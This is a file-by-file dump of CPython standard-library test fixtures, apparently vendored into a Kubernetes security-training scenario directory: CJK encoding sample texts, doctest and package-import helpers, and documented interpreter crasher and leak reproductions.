싀풔숴훀 어릨 因仁川女中싁⑨들앜!! ㉯㉯납♡ ⌒⌒* 9 | 10 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/cp949.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/cp949.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_jisx0213-utf8.txt: -------------------------------------------------------------------------------- 1 | Python の開発は、1990 年ごろから開始されています。 2 | 開発者の Guido van Rossum は教育用のプログラミング言語「ABC」の開発に参加していましたが、ABC は実用上の目的にはあまり適していませんでした。 3 | このため、Guido はより実用的なプログラミング言語の開発を開始し、英国 BBS 放送のコメディ番組「モンティ パイソン」のファンである Guido はこの言語を「Python」と名づけました。 4 | このような背景から生まれた Python の言語設計は、「シンプル」で「習得が容易」という目標に重点が置かれています。 5 | 多くのスクリプト系言語ではユーザの目先の利便性を優先して色々な機能を言語要素として取り入れる場合が多いのですが、Python ではそういった小細工が追加されることはあまりありません。 6 | 言語自体の機能は最小限に押さえ、必要な機能は拡張モジュールとして追加する、というのが Python のポリシーです。 7 | 8 | ノか゚ ト゚ トキ喝塀 𡚴𪎌 麀齁𩛰 9 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_jisx0213.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_jisx0213.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_jp-utf8.txt: -------------------------------------------------------------------------------- 1 | Python の開発は、1990 年ごろから開始されています。 2 | 開発者の Guido van Rossum は教育用のプログラミング言語「ABC」の開発に参加していましたが、ABC は実用上の目的にはあまり適していませんでした。 3 | このため、Guido はより実用的なプログラミング言語の開発を開始し、英国 BBS 放送のコメディ番組「モンティ パイソン」のファンである Guido はこの言語を「Python」と名づけました。 4 | このような背景から生まれた Python の言語設計は、「シンプル」で「習得が容易」という目標に重点が置かれています。 5 | 多くのスクリプト系言語ではユーザの目先の利便性を優先して色々な機能を言語要素として取り入れる場合が多いのですが、Python ではそういった小細工が追加されることはあまりありません。 6 | 言語自体の機能は最小限に押さえ、必要な機能は拡張モジュールとして追加する、というのが Python のポリシーです。 7 | 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_jp.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_jp.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_kr-utf8.txt: -------------------------------------------------------------------------------- 1 | ◎ 파이썬(Python)은 배우기 쉽고, 강력한 프로그래밍 언어입니다. 파이썬은 2 | 효율적인 고수준 데이터 구조와 간단하지만 효율적인 객체지향프로그래밍을 3 | 지원합니다. 파이썬의 우아(優雅)한 문법과 동적 타이핑, 그리고 인터프리팅 4 | 환경은 파이썬을 스크립팅과 여러 분야에서와 대부분의 플랫폼에서의 빠른 5 | 애플리케이션 개발을 할 수 있는 이상적인 언어로 만들어줍니다. 6 | 7 | ☆첫가끝: 날아라 쓔쓔쓩~ 닁큼! 뜽금없이 전홥니다. 뷁. 그런거 읎다. 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_kr.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/euc_kr.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gb18030-utf8.txt: -------------------------------------------------------------------------------- 1 | Python(派森)语言是一种功能强大而完善的通用型计算机程序设计语言, 2 | 已经具有十多年的发展历史,成熟且稳定。这种语言具有非常简捷而清晰 3 | 的语法特点,适合完成各种高层任务,几乎可以在所有的操作系统中 4 | 运行。这种语言简单而强大,适合各种人士学习使用。目前,基于这 5 | 种语言的相关技术正在飞速的发展,用户数量急剧扩大,相关的资源非常多。 6 | 如何在 Python 中使用既有的 C library? 7 |  在資訊科技快速發展的今天, 開發及測試軟體的速度是不容忽視的 8 | 課題. 為加快開發及測試的速度, 我們便常希望能利用一些已開發好的 9 | library, 並有一個 fast prototyping 的 programming language 可 10 | 供使用. 目前有許許多多的 library 是以 C 寫成, 而 Python 是一個 11 | fast prototyping 的 programming language. 故我們希望能將既有的 12 | C library 拿到 Python 的環境中測試及整合. 其中最主要也是我們所 13 | 要討論的問題就是: 14 | 파이썬은 강력한 기능을 지닌 범용 컴퓨터 프로그래밍 언어다. 15 | 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gb18030.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gb18030.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gb2312-utf8.txt: -------------------------------------------------------------------------------- 1 | Python(派森)语言是一种功能强大而完善的通用型计算机程序设计语言, 2 | 已经具有十多年的发展历史,成熟且稳定。这种语言具有非常简捷而清晰 3 | 的语法特点,适合完成各种高层任务,几乎可以在所有的操作系统中 4 | 运行。这种语言简单而强大,适合各种人士学习使用。目前,基于这 5 | 种语言的相关技术正在飞速的发展,用户数量急剧扩大,相关的资源非常多。 6 | 7 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gb2312.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gb2312.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gbk-utf8.txt: -------------------------------------------------------------------------------- 1 | Python(派森)语言是一种功能强大而完善的通用型计算机程序设计语言, 2 | 已经具有十多年的发展历史,成熟且稳定。这种语言具有非常简捷而清晰 3 | 的语法特点,适合完成各种高层任务,几乎可以在所有的操作系统中 4 | 运行。这种语言简单而强大,适合各种人士学习使用。目前,基于这 5 | 种语言的相关技术正在飞速的发展,用户数量急剧扩大,相关的资源非常多。 6 | 如何在 Python 中使用既有的 C library? 7 |  在資訊科技快速發展的今天, 開發及測試軟體的速度是不容忽視的 8 | 課題. 為加快開發及測試的速度, 我們便常希望能利用一些已開發好的 9 | library, 並有一個 fast prototyping 的 programming language 可 10 | 供使用. 目前有許許多多的 library 是以 C 寫成, 而 Python 是一個 11 | fast prototyping 的 programming language. 故我們希望能將既有的 12 | C library 拿到 Python 的環境中測試及整合. 其中最主要也是我們所 13 | 要討論的問題就是: 14 | 15 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gbk.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/gbk.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/hz-utf8.txt: -------------------------------------------------------------------------------- 1 | This sentence is in ASCII. 2 | The next sentence is in GB.己所不欲,勿施於人。Bye. 3 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/hz.txt: -------------------------------------------------------------------------------- 1 | This sentence is in ASCII. 2 | The next sentence is in GB.~{<:Ky2;S{#,NpJ)l6HK!#~}Bye. 3 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/iso2022_jp-utf8.txt: -------------------------------------------------------------------------------- 1 | Python の開発は、1990 年ごろから開始されています。 2 | 開発者の Guido van Rossum は教育用のプログラミング言語「ABC」の開発に参加していましたが、ABC は実用上の目的にはあまり適していませんでした。 3 | このため、Guido はより実用的なプログラミング言語の開発を開始し、英国 BBS 放送のコメディ番組「モンティ パイソン」のファンである Guido はこの言語を「Python」と名づけました。 4 | このような背景から生まれた Python の言語設計は、「シンプル」で「習得が容易」という目標に重点が置かれています。 5 | 多くのスクリプト系言語ではユーザの目先の利便性を優先して色々な機能を言語要素として取り入れる場合が多いのですが、Python ではそういった小細工が追加されることはあまりありません。 6 | 言語自体の機能は最小限に押さえ、必要な機能は拡張モジュールとして追加する、というのが Python のポリシーです。 7 | 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/iso2022_kr-utf8.txt: -------------------------------------------------------------------------------- 1 | ◎ 파이썬(Python)은 배우기 쉽고, 강력한 프로그래밍 언어입니다. 파이썬은 2 | 효율적인 고수준 데이터 구조와 간단하지만 효율적인 객체지향프로그래밍을 3 | 지원합니다. 파이썬의 우아(優雅)한 문법과 동적 타이핑, 그리고 인터프리팅 4 | 환경은 파이썬을 스크립팅과 여러 분야에서와 대부분의 플랫폼에서의 빠른 5 | 애플리케이션 개발을 할 수 있는 이상적인 언어로 만들어줍니다. 6 | 7 | ☆첫가끝: 날아라 쓩~ 큼! 금없이 전니다. 그런거 다. 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/iso2022_kr.txt: -------------------------------------------------------------------------------- 1 | $)C!] FD@L=c(Python)@: 9h?l1b =10m, 0-7BGQ GA7N1W7!9V >p>n@T4O4Y. FD@L=c@: 2 | H?@2@{@N 0mF(iPd:)GQ 9.9}0z 5?@{ E8@LGN, 1W8.0m @NEMGA8.FC 4 | H/0f@: FD@L=c@; =:E)83FC0z ?)7/ :P>_?!<-?M 4k:N:P@G GC7'F{?!<-@G :|8% 5 | >VGC8.DI@Lp>n7N 885i>nA]4O4Y. 6 | 7 | !YC90!3!: 3/>F6s >1~ E-! 1]>x@L @|4O4Y. 1W710E 4Y. 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/johab-utf8.txt: -------------------------------------------------------------------------------- 1 | 똠방각하 펲시콜라 2 | 3 | ㉯㉯납!! 因九月패믤릔궈 ⓡⓖ훀¿¿¿ 긍뒙 ⓔ뎨 ㉯. . 4 | 亞영ⓔ능횹 . . . . 서울뤄 뎐학乙 家훀 ! ! !ㅠ.ㅠ 5 | 흐흐흐 ㄱㄱㄱ☆ㅠ_ㅠ 어릨 탸콰긐 뎌응 칑九들乙 ㉯드긐 6 | 설릌 家훀 . . . . 굴애쉌 ⓔ궈 ⓡ릘㉱긐 因仁川女中까즼 7 | 와쒀훀 ! ! 亞영ⓔ 家능궈 ☆上관 없능궈능 亞능뒈훀 글애듴 8 | ⓡ려듀九 싀풔숴훀 어릨 因仁川女中싁⑨들앜!! ㉯㉯납♡ ⌒⌒* 9 | 10 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/johab.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/johab.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/shift_jis-utf8.txt: -------------------------------------------------------------------------------- 1 | Python の開発は、1990 年ごろから開始されています。 2 | 開発者の Guido van Rossum は教育用のプログラミング言語「ABC」の開発に参加していましたが、ABC は実用上の目的にはあまり適していませんでした。 3 | このため、Guido はより実用的なプログラミング言語の開発を開始し、英国 BBS 放送のコメディ番組「モンティ パイソン」のファンである Guido はこの言語を「Python」と名づけました。 4 | このような背景から生まれた Python の言語設計は、「シンプル」で「習得が容易」という目標に重点が置かれています。 5 | 多くのスクリプト系言語ではユーザの目先の利便性を優先して色々な機能を言語要素として取り入れる場合が多いのですが、Python ではそういった小細工が追加されることはあまりありません。 6 | 言語自体の機能は最小限に押さえ、必要な機能は拡張モジュールとして追加する、というのが Python のポリシーです。 7 | 8 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/shift_jis.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/shift_jis.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/shift_jisx0213-utf8.txt: -------------------------------------------------------------------------------- 1 | Python の開発は、1990 年ごろから開始されています。 2 | 開発者の Guido van Rossum は教育用のプログラミング言語「ABC」の開発に参加していましたが、ABC は実用上の目的にはあまり適していませんでした。 3 | このため、Guido はより実用的なプログラミング言語の開発を開始し、英国 BBS 放送のコメディ番組「モンティ パイソン」のファンである Guido はこの言語を「Python」と名づけました。 4 | このような背景から生まれた Python の言語設計は、「シンプル」で「習得が容易」という目標に重点が置かれています。 5 | 多くのスクリプト系言語ではユーザの目先の利便性を優先して色々な機能を言語要素として取り入れる場合が多いのですが、Python ではそういった小細工が追加されることはあまりありません。 6 | 言語自体の機能は最小限に押さえ、必要な機能は拡張モジュールとして追加する、というのが Python のポリシーです。 7 | 8 | ノか゚ ト゚ トキ喝塀 𡚴𪎌 麀齁𩛰 9 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/shift_jisx0213.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/cjkencodings/shift_jisx0213.txt -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/crashers/bogus_code_obj.py: -------------------------------------------------------------------------------- 1 | """ 2 | Broken bytecode objects can easily crash the interpreter. 3 | 4 | This is not going to be fixed. It is generally agreed that there is no 5 | point in writing a bytecode verifier and putting it in CPython just for 6 | this. Moreover, a verifier is bound to accept only a subset of all safe 7 | bytecodes, so it could lead to unnecessary breakage. 8 | 9 | For security purposes, "restricted" interpreters are not going to let 10 | the user build or load random bytecodes anyway. Otherwise, this is a 11 | "won't fix" case. 12 | 13 | """ 14 | 15 | import types 16 | 17 | co = types.CodeType(0, 0, 0, 0, 0, 0, b'\x04\x00\x71\x00', 18 | (), (), (), '', '', 1, b'') 19 | exec(co) 20 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/crashers/infinite_loop_re.py: -------------------------------------------------------------------------------- 1 | 2 | # This was taken from http://python.org/sf/1541697 3 | # It's not technically a crasher. It may not even truly be infinite, 4 | # however, I haven't waited a long time to see the result. It takes 5 | # 100% of CPU while running this and should be fixed. 6 | 7 | import re 8 | starttag = re.compile(r'<[a-zA-Z][-_.:a-zA-Z0-9]*\s*(' 9 | r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' 10 | r'(\'[^\']*\'|"[^"]*"|[-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~@]' 11 | r'[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*(?=[\s>/<])))?' 12 | r')*\s*/?\s*(?=[<>])') 13 | 14 | if __name__ == '__main__': 15 | foo = '>> print(TwoNames().f()) 9 | f 10 | ''' 11 | return 'f' 12 | 13 | g = f # define an alias for f 14 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/empty.vbs: -------------------------------------------------------------------------------- 1 | 'Empty VBS file, does nothing. Helper for Lib\test\test_startfile.py. -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/encoded_modules/module_iso_8859_1.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/encoded_modules/module_iso_8859_1.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/encoded_modules/module_koi8_r.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/encoded_modules/module_koi8_r.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/future_test1.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | 3 | # Import the name nested_scopes twice to trigger SF bug #407394 (regression). 4 | from __future__ import nested_scopes, nested_scopes 5 | 6 | def f(x): 7 | def g(y): 8 | return x + y 9 | return g 10 | 11 | result = f(2)(4) 12 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/future_test2.py: -------------------------------------------------------------------------------- 1 | """This is a test""" 2 | 3 | from __future__ import nested_scopes; import site 4 | 5 | def f(x): 6 | def g(y): 7 | return x + y 8 | return g 9 | 10 | result = f(2)(4) 11 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/gdb_sample.py: -------------------------------------------------------------------------------- 1 | # Sample script for use by test_gdb.py 2 | 3 | def foo(a, b, c): 4 | bar(a=a, b=b, c=c) 5 | 6 | def bar(a, b, c): 7 | baz(a, b, c) 8 | 9 | def baz(*args): 10 | id(42) 11 | 12 | foo(1, 2, 3) 13 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/leakers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/leakers/__init__.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/leakers/test_ctypes.py: -------------------------------------------------------------------------------- 1 | 2 | # Taken from Lib/ctypes/test/test_keeprefs.py, PointerToStructure.test(). 3 | 4 | from ctypes import Structure, c_int, POINTER 5 | import gc 6 | 7 | def leak_inner(): 8 | class POINT(Structure): 9 | _fields_ = [("x", c_int)] 10 | class RECT(Structure): 11 | _fields_ = [("a", POINTER(POINT))] 12 | 13 | def leak(): 14 | leak_inner() 15 | gc.collect() 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/leakers/test_gestalt.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | if sys.platform != 'darwin': 4 | raise ValueError("This test only leaks on Mac OS X") 5 | 6 | def leak(): 7 | # taken from platform._mac_ver_lookup() 8 | from gestalt import gestalt 9 | import MacOS 10 | 11 | try: 12 | gestalt('sysu') 13 | except MacOS.Error: 14 | pass 15 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/leakers/test_selftype.py: -------------------------------------------------------------------------------- 1 | # Reference cycles involving only the ob_type field are rather uncommon 2 | # but possible. Inspired by SF bug 1469629. 3 | 4 | import gc 5 | 6 | def leak(): 7 | class T(type): 8 | pass 9 | class U(type, metaclass=T): 10 | pass 11 | U.__class__ = U 12 | del U 13 | gc.collect(); gc.collect(); gc.collect() 14 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/module3.py: -------------------------------------------------------------------------------- 1 | class Integral: 2 | def __int__(self): 3 | return 42 4 | 5 | for base in [object]: 6 | class TruncReturnsNonInt(base): 7 | def __trunc__(self): 8 | return Integral() 9 | 10 | assert int(TruncReturnsNonInt()) == 42 11 | 12 | class TruncReturnsTrunc: 13 | def __trunc__(self): 14 | return '56' #TruncReturnsTrunc() 15 | 16 | int(TruncReturnsTrunc()) 17 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/mp_fork_bomb.py: -------------------------------------------------------------------------------- 1 | import multiprocessing, sys 2 | 3 | def foo(): 4 | print("123") 5 | 6 | # Because "if __name__ == '__main__'" is missing this will not work 7 | # correctly on Windows. However, we should get a RuntimeError rather 8 | # than the Windows equivalent of a fork bomb. 9 | 10 | if len(sys.argv) > 1: 11 | multiprocessing.set_start_method(sys.argv[1]) 12 | else: 13 | multiprocessing.set_start_method('spawn') 14 | 15 | p = multiprocessing.Process(target=foo) 16 | p.start() 17 | p.join() 18 | sys.exit(p.exitcode) 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/both_portions/foo/one.py: -------------------------------------------------------------------------------- 1 | attr = 'both_portions foo one' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/both_portions/foo/two.py: -------------------------------------------------------------------------------- 1 | attr = 'both_portions foo two' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/module_and_namespace_package/a_test.py: -------------------------------------------------------------------------------- 1 | attr = 'in module' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/module_and_namespace_package/a_test/empty: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/module_and_namespace_package/a_test/empty -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/not_a_namespace_pkg/foo/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/not_a_namespace_pkg/foo/__init__.py -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/not_a_namespace_pkg/foo/one.py: -------------------------------------------------------------------------------- 1 | attr = 'portion1 foo one' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/portion1/foo/one.py: -------------------------------------------------------------------------------- 1 | attr = 'portion1 foo one' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/portion2/foo/two.py: -------------------------------------------------------------------------------- 1 | attr = 'portion2 foo two' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/project1/parent/child/one.py: -------------------------------------------------------------------------------- 1 | attr = 'parent child one' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/project2/parent/child/two.py: -------------------------------------------------------------------------------- 1 | attr = 'parent child two' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/namespace_pkgs/project3/parent/child/three.py: -------------------------------------------------------------------------------- 1 | attr = 'parent child three' 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/nullcert.pem: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/nullcert.pem -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/outstanding_bugs.py: -------------------------------------------------------------------------------- 1 | # 2 | # This file is for everybody to add tests for bugs that aren't 3 | # fixed yet. Please add a test case and appropriate bug description. 4 | # 5 | # When you fix one of the bugs, please move the test to the correct 6 | # test_ module. 7 | # 8 | 9 | import unittest 10 | from test import support 11 | 12 | # 13 | # No test cases for outstanding bugs at the moment. 14 | # 15 | 16 | 17 | if __name__ == "__main__": 18 | unittest.main() 19 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/pyclbr_input.py: -------------------------------------------------------------------------------- 1 | """Test cases for test_pyclbr.py""" 2 | 3 | def f(): pass 4 | 5 | class Other(object): 6 | @classmethod 7 | def foo(c): pass 8 | 9 | def om(self): pass 10 | 11 | class B (object): 12 | def bm(self): pass 13 | 14 | class C (B): 15 | foo = Other().foo 16 | om = Other.om 17 | 18 | d = 10 19 | 20 | # XXX: This causes test_pyclbr.py to fail, but only because the 21 | # introspection-based is_method() code in the test can't 22 | # distinguish between this and a genuine method function like m(). 23 | # The pyclbr.py module gets this right as it parses the text. 24 | # 25 | #f = f 26 | 27 | def m(self): pass 28 | 29 | @staticmethod 30 | def sm(self): pass 31 | 32 | @classmethod 33 | def cm(self): pass 34 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/relimport.py: -------------------------------------------------------------------------------- 1 | from .test_import import * 2 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/reperf.py: -------------------------------------------------------------------------------- 1 | import re 2 | import time 3 | 4 | def main(): 5 | s = "\13hello\14 \13world\14 " * 1000 6 | p = re.compile(r"([\13\14])") 7 | timefunc(10, p.sub, "", s) 8 | timefunc(10, p.split, s) 9 | timefunc(10, p.findall, s) 10 | 11 | def timefunc(n, func, *args, **kw): 12 | t0 = time.perf_counter() 13 | try: 14 | for i in range(n): 15 | result = func(*args, **kw) 16 | return result 17 | finally: 18 | t1 = time.perf_counter() 19 | if n > 1: 20 | print(n, "times", end=' ') 21 | print(func.__name__, "%.3f" % (t1-t0), "CPU seconds") 22 | 23 | main() 24 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sample_doctest_no_docstrings.py: -------------------------------------------------------------------------------- 1 | # This is a sample module used for testing doctest. 2 | # 3 | # This module is for testing how doctest handles a module with no 4 | # docstrings. 5 | 6 | 7 | class Foo(object): 8 | 9 | # A class with no docstring. 10 | 11 | def __init__(self): 12 | pass 13 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sample_doctest_no_doctests.py: -------------------------------------------------------------------------------- 1 | """This is a sample module used for testing doctest. 2 | 3 | This module is for testing how doctest handles a module with docstrings 4 | but no doctest examples. 5 | 6 | """ 7 | 8 | 9 | class Foo(object): 10 | """A docstring with no doctest examples. 11 | 12 | """ 13 | 14 | def __init__(self): 15 | pass 16 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sgml_input.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sgml_input.html -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/README: -------------------------------------------------------------------------------- 1 | Sound file samples used by Lib/test/test_sndhdr.py and generated using the 2 | following commands: 3 | 4 | dd if=/dev/zero of=sndhdr.raw bs=20 count=1 5 | sox -s -2 -c 2 -r 44100 sndhdr.raw sndhdr. 6 | -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.8svx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.8svx -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.aifc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.aifc -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.aiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.aiff -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.au: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.au -------------------------------------------------------------------------------- /scenarios/coastline-cluster-attack/emydocephalus/static/Lib/test/sndhdrdata/sndhdr.hcom: -------------------------------------------------------------------------------- 